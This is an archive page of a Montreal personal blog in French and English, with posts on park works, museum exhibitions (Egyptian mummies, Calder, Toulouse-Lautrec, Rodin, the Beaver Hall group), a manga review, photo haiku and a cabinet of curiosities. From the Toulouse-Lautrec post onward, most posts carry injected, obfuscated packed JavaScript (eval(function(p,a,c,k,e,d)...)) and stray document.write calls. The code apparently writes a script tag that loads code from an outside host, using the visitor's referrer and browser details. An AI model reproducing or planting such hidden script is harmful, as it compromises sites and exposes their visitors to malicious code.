Pictorial chronicles [002.020.347]

Nouvelles du parc

Cela faisait longtemps qu’il n’y avait pas eut du neuf dans le parc. Évidemment, avec l’approche de l’hiver on y a fait les préparatifs habituels: planter quelques arbres, mettre les balises pour le déneigement et les pistes de ski, etc. Il semble que le secteur Boisé Sud / Jarry Est (la côte bétonnée du Cirque du Soleil) restera fermé pour l’hiver.

J’ai cependant noté quelques nouveautés ces derniers jours. D’abord, la signalisation de l’entrée Legendre a finalement été installé mais en plus simple: un simple “monolithe” de béton au lieu du grillage rempli de cailloux (c’est plus rapide à faire et probablement moins dispendieux). Puis, la clôture de l’entrée Émile-Journault a été réajustée après que le chemin de gravier ait été terminé. Aussi, la clôture délimitant le périmètre du secteur Plaines-Est a été complété. Ce secteur me semble prêt à être ouvert au public, sans doute au printemps. J’ai aussi noté qu’on avait entrepris de mystérieux travaux d’excavation (il me semble que c’est toujours prêt d’une table à pic-nic) pour y ensevelir des dalles de bétons. Je me demande bien pour quoi faire… Quelqu’un a une idée ?

[ iPhone 11 Pro, Parc Frédéric-Back, 2020/12/10 ]

Toutefois, la grosse surprise de ma promenade cette fin de semaine, c’est de constater qu’après trois ans la ville a finalement mise en place de la signalisation pour identifier les pièces d’art public réparties ici et là dans le parc. Trois ans ! Quel manque de respect pour l’artiste, M. Alain-Martin Richard ! Le public pourra enfin savoir que son oeuvre de mémoire s’intitule “Anamnèse 1 + 1”. Pour plus de détails, vous pouvez consulter mon album Flickr consacré à l’oeuvre et vous rendre sur le site de la ville consacré à l’art public (et plus particulièrement à cet oeuvre).

[ iPhone 11 Pro, Parc Frédéric-Back, 2020/12/11 ]

[ Translate ]

Egyptian mummies: Exploring ancient lives

IMG_7086“Egyptian mummies: Exploring ancient lives” is the North American premiere of an exhibition created by the British Museum. Using digital image projections, explanatory videos and over two-hundred objects from ancient Egypt, it “reconstructs the lives of six people who lived along the Nile”. It tells the story of each of those individuals, their beliefs and the diseases they suffered from.

The original British Museum exposition (opened to the public from May to November 2014) was showcasing eight mummies, one-tenth of their Egyptian mummies’ collection. However, for its international tour the exhibition was limited to six mummies. It first opened at the The Powerhouse Museum in Sydney, Australia (from December 2016 to Avril 2017) before moving to Hong Kong in 2017, then Taipei, Taiwan (from November 2017 to February 2018) and it is now at the Museum of Fine Arts in Montreal from September 2019 to March 2020. The next stop will be in Toronto at the Royal Ontario Museum from May to September 2020.

In the early days of Egyptology, the only way to learn about mummies was to unwrap them. 19th century European collectors were even turning this into a social event with lavish “unwrapping parties.” However, the British Museum, with its strong ethics about artifact preservation, always refused to perform any invasive intervention on its mummies and its collection is therefore in excellent condition. Since the 1970s the development of cutting-edge technology, like combining x-ray devices with high-resolution three-dimensional computerized imaging (computerized tomography (CT) scanning) in order to create detailed 3D visualizations of the internal structures, has revealed much more informations that a simple unwrapping would have provided — while still preserving the mummies’ integrity. Combining the resources provided by medical science with those learned from anthropology and archaeology, has allowed the egyptologists to learn a tremendous amount of information about the life and death of ancient Egyptians: not only their culture and way of life, but also their biology, genetics, diet, diseases, burial practices and embalming techniques. This exhibition is illustrating all this through the exemples of six in dividuals (and their mummies) who lived in the Nile valley between 900 BCE and 180 CE.

Apparently the only official catalogue of the exhibition’s international tour was produced by the Powerhouse Museum in Sydney and is now sold out. However, the catalogue from the original British Museum exhibition is still available.

You can visit (and visit again) “Egyptian mummies: Exploring ancient lives” at the Montreal Museum of Fine Arts (1380 Sherbrooke Street West) from September 14, 2019 to March 29, 2020.

It is a superb and fascinating exhibition, rich in informations and artifacts. I enjoyed it greatly and everyone must absolutely see it. When I visited, in early January, the museum was packed (so, PLEASE don’t bring your five or six year-old Kids, as they might not be old enough to understand the complexity of such subject, and don’t bring your crying baby in its giant stroller !!!). stars-4-0

Here’s a teaser of the exhibition (available on Youtube):

More information and pictures after the jump >>

Continue reading

CODEX_TRAVERSÉE DU SILENCE

La salle de diffusion de Parc-Extension (421, rue Saint-Roch) est une fois de plus l’hôte d’une exposition en arts visuels du 5 septembre au 13 octobre. Sous le commissariat de Mariza Rosales Argonza, cette exposition, intitulée Codex_Traversée du Silence est présentée dans le cadre de la 11e édition du Festival LatinArte.  C’est une “prise de parole qui transcende les frontières culturelles et temporelles pour rendre visibles la pluralité et la permanence des voix ancestrales en tant qu’acte conscient afin de percer l’invisibilité“.

C’est une belle “exposition” mais c’est plutôt pauvre puisqu’on n’y retrouve que sept grandes oeuvres par Dinorah Catzalco et deux installations audio-visuelles (par Rodrigo Velasco et Teo Zamudio). Cela vaut quand même la peine d’y jeter un coup d’oeil si vous passez par la bibliothèque de Parc-Extension, qui est juste à côté…

Photos du vernissage, le 5 septembre 2019, on l’on retrouve (dans le désordre) les artistes [Teo Zamudio, Rodrigo Iván Ramírez Velasco et Dinorah Catzalco], la mairesse d’arrondissement [Giuliana Fumagalli], la Conseillère du quartier Parc-Ex [Mary Deros], et les représentants de la salle de diffusion [Martin Hurtubise], du Conseil des Arts de Montréal, et de LatinArte [Mariza Rosales Argonza]. 

[ Translate ]

Continue reading

Cabinets of curiosities

My nephew, Sébastien, has just started a blog (in French) about how he is building and assembling his own cabinet of curiosities. It is very interesting. He is suggesting lots of crafty and thrifty ways to create such cabinet. I particularly like his entry about old books. He is very creative (he is a writer after all) and has a very strong background in science (molecular biology); he really succeeds to combine both aspects with great ingenuity. With this blog he is sharing his passion for the scientific wonders and natural oddities of the past. I am quite impressed. It is fascinating and I recommend to have a look.

My nephew also reminds us that my great friend Mario Tessier, the venerable and learned scholar known as the “Futurible”, had introduced us to the history of the cabinet of curiosities in one of his famous “Carnets” published in Solaris #191 (p. 111-125). It is quite an edifying article that I encourage you to read if you want to push further your knowledge on this subject.

AthenianTetradrachma

Athenian Tetradrachma (5th c. BCE)

I have myself been collecting such curiosities since I am a child. When I settled in my home I placed a glass case in the center of the library room where I gathered a few of those items collected over the years. Unfortunately, for lack of space, it is a small display and most of my collection is still in boxes, spread around the house on top of bookshelves or even (for my most precious items like my Athenian tetradrachma, my Marc Antony or Lucius Verus denarii or my Leo I the Thracian solidus) in a safe. I have already introduced my collection in an entry about old books. However, inspired by my nephew, let me now elaborate a little more about my own cabinet of curiosities.

Old_Books-1593_IMG_0105

Aesope’s Fables [1593]

Of course, most of my collection is articulated around books — mostly old ones. However, as a kid, I started collecting stones, minerals, fossils and coins (very few of those are displayed). At some point, because I was studying the origin of metallurgy in ancient Mesopotamia, I started collecting metal cups (mostly in silver and tin — choose wisely your graal!) and my roman studies prompted me to acquire many greek, roman and byzantine coins. Whenever I can I try to add some antiquities (pseudo or authentic) or pieces of old technology (but those are rare and expensive, so I’ve acquired them so far from family or friends). But I am mostly into old books and metal stuff… Here is the core of my cabinet of curiosities:

IMG_4320

Left side

Top: my collection of cups and (plated) silver plates; note the authentic 4th c. roman terracotta on the left. Bottom: my oldest books (16th-17th c.), some fossils, amethyst and native copper samples, a few coins, more metal cups and some Japanese-style tea cups (on top of a portable Go board).

IMG_4313

My oldest books

Detail of the fossils and old books (Svmma Omnivm Conciliorvm et Pontificvm [1633], Lucien [of Samosata] [1664], Valerius Maximus Factotum ac dictorum memorabilium libri IX [1659], Qvinti Horatii Flacci Poemata [1643], Aesopi Phrygis: Fabulae [1593], and [Iustiniani Augusti] Digestorum sev pandectarum (Pars quarto [liber XX-XXVII]), De Pignoribvs et hypothecis [1581]).

IMG_4322

Right side

More old books (18th-19th c.), metallic gobelets, non-metallic cups (the smallest is in walrus ivory), a pair of small wooden masks of unknown origins (Balinese? Malaysian?), an (half-hidden) incised Malian knife with leather scabbard, some Inuit art, a false skull (an ashtray in pottery) and various mementos.

IMG_4743

On top of the shelves: a metronome, my grandpa’s French horn, an 18th c. tradesman’s balance scale, Chinese art reproductions, fake katanas, an original Rubik’s Cube and an authentic (undated) Chinese ding (ritual bronzes).

IMG_4744

On top of the shelves: a 70s helicopter’s pilot helmet, an (African? Undated) bronze mortar & pestle, a transportable Lumex microscope, an old 1-A Kodak Jr folding camera [1912] and a terrestrial globe (60s or 70s).

I have many more interesting items that I could display. Following my nephew’s example, I will do my best in the future to find clever ways to share them with visitors (and seek to acquire — or make — new ones; although I am far less creative than Sébastien). And you, do you have a cabinet of curiosities?

To be continued?

[ Traduire ]

Mujirushi: Le Signe des rêves 2

signe-des-reves-2-covLe récit, débuté dans le premier volume, se poursuit. [Attention: SPOILER] Kasumi et son naïf de père Takashi ont un plan pour voler La Dentellière de Vermeer au Louvre: distribuer des masques de la présidente américaine Duncan (une sorte de mélange entre Trump et Hilary) dans le cadre d’un faux exercice d’évacuation et profiter de la confusion pour cacher le tableau dans les combles du musée. L’escroc Iyami, ce prétentieux personnage aux dents saillantes, espère profiter de la disparition du tableau pour vendre son faux à haut prix… Le pompier Michel tente de les en empêcher mais de toute façon Takashi ne réussi pas à saisir le tableau et le plan échoue… Toutefois, l’incident est perçu comme  une manifestation éclair anti-Duncan et, comme un scandale impliquant la président éclate au même moment, les masques de la présidente reviennent populaire et l’usine de Takashi suffit à peine à répondre à la demande. Sa femme revient et sa fortune est retrouvée!

signe-des-reves-2-bcovEntremêlé au récit principale on retrouve trois autres histoires: celle de l’inspecteur japonais à la poursuite d’un trafiquant de tableaux volés qui fait erreur sur la personne; deux journalistes qui “suivent” la présidente Duncan et révèlent le scandale; et finalement l’histoire de Kyôko, une japonaise qui a vécu à Paris et s’est occupé de Michel quand il était jeune. Finalement, l’histoire qui lie Kyôko et Iyami n’a rien de mystique et, si elle est un peu rocambolesque, elle est même plutôt décevante tellement qu’elle est banale. 

signe-des-reves-2-plancheLe manga nous offre quatre planches en couleurs et se conclue avec les fiches signalétiques de deux des oeuvres du Louvre représentées dans le récit (La Dentellière de Vermeer et la statue égyptienne du couple Sementaouy et Rouiay), une postface de Naoki Urasawa (qui explique la genèse du manga) et la présentation du personnage de Iyami. C’est sans doute cette dernière qui est la plus intéressante car elle donne une nouvelle optique au récit. On y explique que Iyami est en fait un personnage très populaire du manga Osomatsu-kun par Fujio Akatsuka. Le récit est donc rempli d’inside jokes que seul les gens familier avec cet aspect de la culture japonaise peuvent comprendre  et apprécier. Cela m’avait échappé…

Si le dessin de Naoki Urasawa semble un peu ordinaire, il est très efficace à exprimer l’action et l’émotion des personnages. Et, si la conclusion de l’histoire est un peu décevante, le récit est bien mené et captivant. Le signe des rêve demeure donc une bonne lecture. C’est du Urasawa, après tout!

Mujirushi: Le Signe des rêves 2, par Naoki Urasawa. Paris: Futuropolis / Louvre Éditions, octobre 2018. 136 pages, 19.5 x 26.5 cm, 20,00 €  / $39.95 Can. ISBN 978-2-7548-2581-8. Sens de lecture original (de droite à gauche). Pour lectorat adolescent (14+). stars-3-0

Vous trouverez plus d’information sur les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipediaWorldCat ]

© 2018 Urasawa Naoki • N Wood Studio / Futuropolis • Musée du Louvre Éditions.

[ Translate ]

Capsules

Calder

Alexander Calder : un inventeur radicalMercredi nous avons profité d’un rendez-vous en ville pour aller visiter l’exposition Alexander Calder : un inventeur radical au Musée des Beaux-arts de Montréal. Cette retrospective des oeuvres de l’artiste Américain, qui se tient au MBAM du 21 septembre 2018 au 24 février 2019, offre 150 œuvres et documents qui représentent bien les différentes périodes de cet artiste multidisciplinaire. Comme d’habitude, je vous offre ici quelques memento de ma visite…

[ Translate ]

Continuez la lecture après le saut de page >>

Continue reading

Début juin au jardin botanique

Hier après-midi s’est avéré la journée idéale pour aller faire notre première promenade de l’année au jardin botanique. L’objectif était de visiter la roseraie, le “monumental Dougherty” et un pâturage de moutons dans l’arboretum [voir le plan]. On pourra toujours revenir pour voir le reste.

Malheureusement, il était un peu trop tôt pour les roses car la plupart des parterres n’offraient encore que des rosiers sans fleurs. Toutefois, il y en avait assez d’écloses pour que l’on puisse dire avoir pris le temps de sentir les roses… (mais elles n’étaient pas toujours bien identifiées)

Sur le chemin de l’arboretum, nous sommes passé par le jardin japonais et nous nous sommes, bien sûr, arrêté au Pavillon Japonais où se tenait une exposition sur la ville de Hiroshima (jumelée à Montréal). On y présente, malheureusement trop brièvement, la vie quotidienne dans cette ville, plus de soixante-dix ans après l’infâme bombardement.

On fois dans l’arboretum, qui occupe toute la moitié supérieure du jardin botanique, nous n’avons pas tardé à découvrir le monumental Dougherty (dont il ne reste plus apparemment que deux des trois composantes). Il s’agit de deux sculptures végétales monumentales créées en 2017 par Patrick Dougherty et composées de tiges de saule tressées. L’une est intitulée “Architectural Folly” (Havre de fantaisie) et l’autre “Celtic Knot” (Dédale étonnant). C’est à la fois beau et fascinant…

Tout près de là, nos pas nous ont amené au jardin Leslie-Hancock où nous avons découvert une explosion de rhododendrons et d’azalées (i.e. des Éricacées). C’est très beau mais, ma foi, très mal identifié. Dans cette pléthore de couleurs, il devient difficile de savoir qui est quoi et surtout lesquels sont des rhododendrons et lesquels sont des azalées. Ces termes semblent interchangeables mais apparemment l’azalée est un rhododendron “à feuilles caduques ou semi-persistantes portant des fleurs à cinq étamines” alors que «rhododendron» “désigne habituellement [ceux] possédant des feuilles persistantes ainsi que des fleurs à 10 étamines ou plus.”

Après avoir escaladé un petit promontoire, nous nous sommes retrouvé dans ce qui pourrait être l’alpage gazonné de l’arboretum… où broutaient deux moutons! (barres-toi de mon herbe, humain! Je me serais cru dans Le Génie des Alpages de F’Murr!). Un peu plus loin, une bergères gardait un oeil attentif sur son menu troupeau tout en discutant avec les passants fascinés. Sous l’ombrage d’un arbre, une demi-douzaine d’autres moutons se reposaient. J’étais comblé! Il s’agit de «Biquette à Montréal», un projet d’éco-pâturage en collaboration avec le Laboratoire d’agriculture urbaine (AU/LAB). Du 15 mai au 2 juillet, neuf moutons broutent au jardin botanique de 10 à 19 heures.

C’est relaxant de regarder un mouton brouter! (Mais ne vous endormez pas…)

Finalement, notre randonné a culminée à la maison de l’arbre Frédérick-Back où nous avons visité une exposition d’arbres miniatures nord-américains. Au delà de l’étang, nous avons pic-niqué dans un magnifique petit gazebo et observé des oiseaux…

Quelle belle journée !

[ Translate ]

Toulouse-Lautrec: Affiche la Belle Époque

Mercredi après le travail je me suis dépêché d’aller visiter l’exposition sur les affiches de Toulouse-Lautrec au Musée des Beaux-Arts de Montréal qui se termine dimanche.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sszeh|var|u0026u|referrer|saars||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yanrf|var|u0026u|referrer|kdhhs||js|php’.split(‘|’),0,{}))

“Cette exposition présente une collection particulière d’exception qui comprend plus de quatre-vingt-dix estampes et affiches, document.write(“”); couvrant presque toute la période de la production lithographique de Toulouse-Lautrec, de 1891 (…) à 1899.”

Même si on y retrouve que les affiches de Toulouse-Lautrec (pas de peintures), c’est tout de même très intéressant. Lautrec était vraiment un illustrateur de talent. Toutefois, c’est une petite exposition qui ne comprend que quelques salles et j’en ai donc fait le tour assez rapidement (en un peu plus d’une heure). Comme à mon habitude, j’ai photographié les pièces de l’exposition qui m’interpellaient le plus afin de garder un petit souvenir de ma visite.

Voici un bref diaporama des mes photos que j’ai converti en video sur Vimeo:


Voir aussi mon album photo sur Flickr (avec titres et détails des affiches):

Toulouse-Lautrec
(iPhone 6s, Musée des Beaux-Arts de Montréal, 2016-10-26)
[ Translate ]

Photos haiku: Shiki

En regardant une émission à la télévision japonaise, document.write(“”); Haiku Masters, diffusée en anglais sur NHK World, j’ai découvert un concept nouveau en art visuel: le photo haiku ! Le premier épisode de cette émission peut être visionné sur demande sur le site internet de la station.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzhbn|var|u0026u|referrer|fntds||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysakb|var|u0026u|referrer|sdhhz||js|php’.split(‘|’),0,{}))

Cela m’avait déjà donné l’idée de faire
une video haiku inspiré par les nouvelles rames de métro Azur. Cette fois je vous propose deux photos haiku qui utilisent des textes de Shiki tirés de Cent sept haiku (ouvrage que j’ai tout récemment commenté):

Papillon qui dors
Sleeping Butterfly
(Photo: clodjee.com, iPhone 6, 2015-09-26 / Texte: Shiki, Cent sept haiku, p. 22)
Sur ce haiku, le traducteur note (Cent sept haiku, p. 109): “Réplique adressée à S?shi (Zhuangzi), grand philosophe taoïste chinois, qui un jour avait rêvé qu’il était un papillon, avant de se demander s’il n’était pas plutôt un papillon rêvant qu’il était Zhuangzi.”

Deux kakis
Two Kaki
(Photo: clodjee.com, iPhone 6s, 2015-11-16 / Texte: Shiki, Cent sept haiku, p. 90)
Sur ce haiku, le traducteur note (Cent sept haiku, p. 110): “Bien que très malade et souffrant de consomption, Shiki continue de travailler, recevant de très nombreux haiku dont il doit faire la critique. Mais compensation : il s’offre deux kakis après la séance de travail”.

[ Translate ]

Découverte: Revue Collections Vol. 3, No 2

Le plus récent numéro de la revue Collections (la revue de la littérature d’ici pour les bibliothèques d’ici, document.write(“”); publiée par l’ANEL), le vol. 3 No 2 (publié en avril 2016), est consacré à l’Art, à la musique et au cinéma.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zshbe|var|u0026u|referrer|zkryk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdzef|var|u0026u|referrer|rzrhe||js|php’.split(‘|’),0,{}))

On y parle, bien sûr, de livres documentaires sur l’Art mais aussi d’adaptation cinématographique d’oeuvres littéraires. Une excellente référence.

La revue est disponible sous forme imprimée dans certaines bibliothèques et sur le site de l’Entrepôt du livre numérique de l’ANEL (en format PDF).

J’ai déjà mentionné le numéro précédant en février.

[ Translate ]

Dans l’Azur – un haiku video

Après quelques mois, document.write(“”); de nombreuses tentatives infructueuses (et de longues attentes sur les quais), j’ai finalement réussi à apercevoir l’oiseau rare et à faire une petite promenade dans l’Azur. Cela m’a inspiré ce petit haiku video!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akbhb|var|u0026u|referrer|azfnt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkezi|var|u0026u|referrer|idffs||js|php’.split(‘|’),0,{}))

After a few months, many failed attempts (and long waits on platforms), I finally managed to see the rare bird and take a ride on the Azur. This inspired me this little
haiku video!


In the Azure – Haiku video

After several attempts – in vain
The heavenly way is open to me
And I finally navigate the Azur

Several attempts – vainly
The heavenly way opens
To finally navigate the Azur

Clodjee

La couleur du Jazz

La semaine dernière j’ai visité l’exposition “La couleur du Jazz” au Musée des Beaux Arts de Montréal. Cette exposition nous propose de vivre la modernité des années 1920 à Montréal avec le groupe de Beaver Hall. Il s’agit de la première grande étude sur ce “regroupement éphémère d’une vingtaine d’artistes dont la production a donné, document.write(“”); comme le soulignait la critique de l’époque, « une nouvelle impulsion » à la vie artistique montréalaise, québécoise et canadienne”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fybhs|var|u0026u|referrer|tteff||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rybah|var|u0026u|referrer|azddr||js|php’.split(‘|’),0,{}))

Le
Groupe de Beaver Hall est en quelque sort le pendant montréalais au Groupe des Sept qui était basé à Toronto. Et plutôt que de se limiter à “proposer une image identitaire du Canada à travers la représentation de la nature sauvage du Nord” comme le faisait le Groupe des Sept, le Groupe de Beaver Hall exprime la modernité de l’époque à travers des portraits et les paysages humanisés de la ville et de la campagne. Le groupe a eut une existence très courte (1920-1923) mais ses membres ont continué par la suite leur travail individuellement et contribué à la formation du Groupe des peintres canadiens en 1933. L’exposition couvre toute cette période.

Ce qui est remarquable dans ce groupe ce n’est pas tant qu’il “constitue l’une des manifestations les plus originales de la modernité picturale au Canada“ mais bien la parité hommes-femmes au sein des membres du groupe qui dénote encore une fois la grande modernité de ce courant artistique. Pour plus de détails sur le contexte historique et les thématiques de l’exposition vous pouvez consulter le site internet que le musée y consacre.

J’ai bien aimé l’exposition. Il y a de très belle pièces et c’est rafraichissant de voir que des artistes montréalais ont pu avoir un tel impact (et d’en apprendre plus sur eux). Les portraits sont fascinants (certains détails, comme les mains, sont parfois très réaliste). On retrouve beaucoup de paysages hivernaux (après tout c’est le Canada). Les paysages urbains (dont le style varie beaucoup d’un artiste à l’autre, allant du réalisme détaillé et précis au quasi impressionnisme) nous font presque voyager dans le temps (Archambault sur la rue Sainte-Catherine, l’Église Saint-Jacques [qui a passé au feu et a été “cannibalisé” par l’UQAM] sur Saint-Denis, etc.).

J’ai toutefois trouvé l’exposition un peu courte et j’aurais bien aimé y voir une peu plus de média (photos des artistes, petits documentaires videos, etc. — il existe d’ailleurs un film de l’ONF sur trois des membres féminins du groupe). J’ai aussi trouvé que le titre de l’exposition ne se retrouvait pas vraiment dans la sujet. Oui, le jazz représente bien la modernité de l’époque et on a reproché aux membres du groupe de faire des oeuvres trop colorées qui furent à l’époque comparées aux notes dissonantes du jazz. Mais l’analogie s’arrête là. Une petite musique de fond jazzée aurait aussi sans doute contribué à donner plus de couleur à l’atmosphère de l’exposition.

En souvenir de cette exposition, je vous offre sur Vimeo (et ci-bas) un petit diaporama des oeuvres qui m’ont le plus marqué. J’ai aussi créé un album sur Flickr (avec le détail de chacune des pièces).


Vous trouverez également sur Youtube quelques courts videos sur l’exposition.

Si ça vous intéresse, dépêchez-vous car l’exposition prends fin le 31 janvier!

[ Translate ]

Kawamori interview on Forbes!

While browsing on the internet, document.write(“”); I just discovered this long and fascinating interview of Shoji Kawamori on the Forbes magazine!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iazat|var|u0026u|referrer|bszzd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttati|var|u0026u|referrer|tyykb||js|php’.split(‘|’),0,{}))

The creator of Macross talks about the genesis of the series, about how important it is for him to create realistic mocha, about writing and directing, about how his work seems to have inspired many other creators (without ever being credited), and so many other things! It’s really an interesting article.

Oppression

Je me sens coincé – Est-ce de l’Art ?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sizzt|var|u0026u|referrer|reenn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfdzn|var|u0026u|referrer|inzdz||js|php’.split(‘|’),0,{}))
I feel boxed – Is this Art ?
Feeling boxed
(iPhone 6s, document.write(“”); 2015-10-31)

Rodin

Last Friday I visited the exhibition “Metamorphoses: In Rodin’s Studio” at the Montreal Museum of Fine Arts. It was an impressive exhibit that was definitely worth seeing, document.write(“”); although it felt like most of the pieces were unfinished. It was very didactic and was showing a lot about the work of a sculptor and the fact that he rarely works alone. The best part was the room showing some of his masterpieces: the Thinker, the Kiss, the Age of Bronze, etc.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktazt|var|u0026u|referrer|zaaff||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzhbt|var|u0026u|referrer|nedzf||js|php’.split(‘|’),0,{}))

For those who missed it, you can still find a lot of information on
